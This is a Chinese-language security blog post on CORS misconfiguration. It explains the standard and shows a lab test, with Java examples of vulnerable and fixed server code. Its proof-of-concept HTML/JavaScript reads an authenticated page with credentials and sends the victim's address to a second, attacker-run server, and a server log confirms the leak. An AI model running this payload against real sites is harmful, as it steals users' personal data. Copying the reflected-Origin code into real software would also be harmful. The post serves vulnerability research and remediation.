Cors漏洞研究

0x01前言:

以前一直认为csrf类漏洞比较鸡肋,而且还是读取类的,所以一直得过且过的没有详细进行研究。最近也是听到这个洞也是被大多数SRC厂商所接受,直接信息够敏感那钱就足够多,所以就来详细了解了解。

0x02Cors的概念

CORS是一个W3C标准,全称是”跨域资源共享”(Corss-origin resource sharing)。它允许浏览器向跨源(协议、域名、端口)服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。
CORS需要浏览器和服务器同时支持。它的通信过程,都是浏览器自动完成,不需要用户参与。对于开发者来说,CORS通信与同源的AJAX通信没有差别,代码完全一样。浏览器一旦发现AJAX请求跨源,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,但用户不会有感觉。因此,实现CORS通信的关键是服务器。只要服务器实现了CORS接口,就可以跨源通信。

0x03Jsonp和Cors的区别

Jsonp Cors
提供者 jquery提供的跨域方式 w3c提供的一个跨域标准
支持方法 只支持get方式的跨域 支持get和post方式的跨域
兼容性 支持所有的浏览器 不支持IE10以下的浏览器
Response内容格式 JSON 不限

0x04测试

首先看到一个存在敏感信息的info页面
Alt text
尝试跨域读取该页面的敏感信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<html>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>
<meta name="page-view-size" content="640*530" />
<title>catrider首页</title>
<h1>测试敏感信息获取</h1>
<script type="text/javascript">
function testing() {
var xmlhttp;
if(window.XMLHttpRequest){
xmlhttp=new XMLHttpRequest();
}else{
xmlhttp=new ActiveXObject("MiCorsoft.XMLHTTP");
}
xmlhttp.open("GET","http://172.16.14.167/info2.php",false);
xmlhttp.send();
if(xmlhttp.status==200){
var str=xmlhttp.responseText;
var n=str.search("address");
console.log(n)
var final=str.substring(n+15,n+28);
console.log(final)
}
}
testing();
</script>
</html>

发现因同源策略已被禁止
Alt text

此时如果想要获取该页面的信息有两种方法

  1. jsonp 利用的是script脚本的特性,进行跨域
  2. cors 跨域资源共享方式跨域
    需要在服务器端,添加如下代码
    1
    2
    3
    4
    1.允许所有的域名跨域加载
    header("Access-Control-Allow-Origin: *");
    2.允许指定域名跨域加载
    header("ACCESS-CONTROL-ALLOW-ORIGIN:http://www.test.com:2233");

此时再次跨域读取该信息:
Alt text
发现信息已经成功被打印到Console的日志中。继续利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>
<meta name="page-view-size" content="640*530" />
<title>catrider首页</title>
<h1>测试敏感信息获取</h1>
<script type="text/javascript">
function testing() {
var xmlhttp;
if(window.XMLHttpRequest){
xmlhttp=new XMLHttpRequest();
}else{
xmlhttp=new ActiveXObject("MiCorsoft.XMLHTTP");
}
xmlhttp.open("GET","http://172.16.14.167/info2.php",false);
xmlhttp.send();
if(xmlhttp.status==200){
var str=xmlhttp.responseText;
var n=str.search("address");
console.log(n)
var final=str.substring(n+15,n+28);
console.log(final)
}
var url="http://172.16.14.168:8080/getinfo.php?content=settingcontent&address="+escape(final);
xmlhttp.open("GET",url,true);
xmlhttp.send();
}
testing();
</script>
</html>

把获取的final变量已参数的形式,发送给172.16.14.168服务器,从服务器的日志中就可以看到

1
2
3
4
[root@localhost ~]# python -m SimpleHTTPServer 8080 
Serving HTTP on 0.0.0.0 port 8080 ...
172.16.14.1 - - [17/Dec/2018 10:48:39] code 404, message File not found
172.16.14.1 - - [17/Dec/2018 10:48:39] "GET /getinfo.php?content=settingcontent&address=%22%u5317%u4EAC%u5E02xx%u5C0F%u533Ax%u53F7%u697Cx%u53F7 HTTP/1.1" 404 -

Alt text

0x05需要注意的坑

经常看到网上好多,只要origin的输入和Access-Control-Allow-Origin头一致就存在漏洞,但是此时不一定可以利用
Alt text
因为一般SRC厂商如果收录此漏洞的话,必然有敏感页面。有敏感页面就必须带身份认证。此时并不支持Cookie和Session的跨域传递。
Alt text
当同时存在 Access-Control-Allow-Origin: http://127.0.0.1 Access-Control-Allow-Credentials: true,发没有获取敏感信息,经分析发现在跨域时并没有携带Cookie

前端原生携带Cookie的方法。

1
2
3
4
var xhr = new XMLHttpRequest(); 
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);

Ajax携带Cookie的方法

1
2
3
4
5
6
7
$.ajax({
type: "POST",
url: "http://xxx.com/api/test",
dataType: 'jsonp',
xhrFields: {withCredentials: true},
CorssDomain: true,
})

成功跨域读取到收货地址

两者不能并存,否则跨域失败

1
2
Access-Control-Allow-Origin: *  (必须是准确的域名)
Access-Control-Allow-Credentials: true

如果不携带Cookie的话,且不携带Cookie的话。*就可以直接跨域了

1
Access-Control-Allow-Origin: *

xmlHttp.open的第三个参数true与false

1
xmlhttp.open("GET","http://172.16.14.167/info2.php",false);

true为异步 false同步–》必须选同步
第三个参数为true,表示JavaScript异步执行,不等待后台返回
而为false的时候,表示同步执行,等待返回后再执行下一步
如果选择异步还没获得其它域的信息,就行了下一步操作

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<html>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>
<meta name="page-view-size" content="640*530" />
<title>catrider首页</title>
<h1>测试敏感信息获取</h1>

<script type="text/javascript">
function testing() {
var xmlhttp;
if(window.XMLHttpRequest){
xmlhttp=new XMLHttpRequest();
}else{
xmlhttp=new ActiveXObject("MiCorsoft.XMLHTTP");
}
xmlhttp.open("GET","http://localhost:8088/home/user",false);
//携带Cookie请求,很重要!!!!
xmlhttp.withCredentials = true;
xmlhttp.send();
if(xmlhttp.status==200){
var str=xmlhttp.responseText;
var n=str.search("address");
console.log(n)
var final=str.substring(n+15,n+28);
console.log(final)
}
var url="http://172.16.14.168:8080/getinfo.php?content=settingcontent&address="+escape(final);
xmlhttp.open("GET",url,true);
xmlhttp.send();
}
testing();
</script>
</html>

后端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//缺陷类型一(通用型)
@RequestMapping("/user1")
@ResponseBody
private static String vuls1(HttpServletRequest request, HttpServletResponse response) {
// 获取Header中的Origin
String origin = request.getHeader("origin");
response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的
response.setHeader("Access-Control-Allow-Credentials", "true"); // cookie
return info;
}
//缺陷类型二(限制无身份验证,因无法携带Cookie)
@RequestMapping("/user2")
@ResponseBody
private static String vuls2(HttpServletResponse response) {
// 不建议设置为*
// 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常
response.setHeader("Access-Control-Allow-Origin", "*");
return info;
}
//高版本的Spring已经不允许使用*来匹配(spring 4.2以上)
@CorssOrigin("*")
@RequestMapping("/user3")
@ResponseBody
private static String vuls3(HttpServletResponse response) {
return info;
}

修复后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected static String[] urlwhitelist = {"joychou.com", "joychou.me"};
@RequestMapping("/sec")
@ResponseBody
private static String seccode(HttpServletRequest request, HttpServletResponse response) {
String origin = request.getHeader("Origin");
Security sec = new Security();

// 如果origin不为空并且origin不在白名单内,认定为不安全。
// 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。
if ( origin != null && !sec.checkSafeUrl(origin, urlwhitelist) ) {
return "Origin is not safe.";
}
response.setHeader("Access-Control-Allow-Origin", origin);
response.setHeader("Access-Control-Allow-Credentials", "true");
return info;
}
文章作者: Screw
文章链接: http://screwsec.com/2018/12/19/Cors%E6%BC%8F%E6%B4%9E%E7%A0%94%E7%A9%B6/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Screw's blog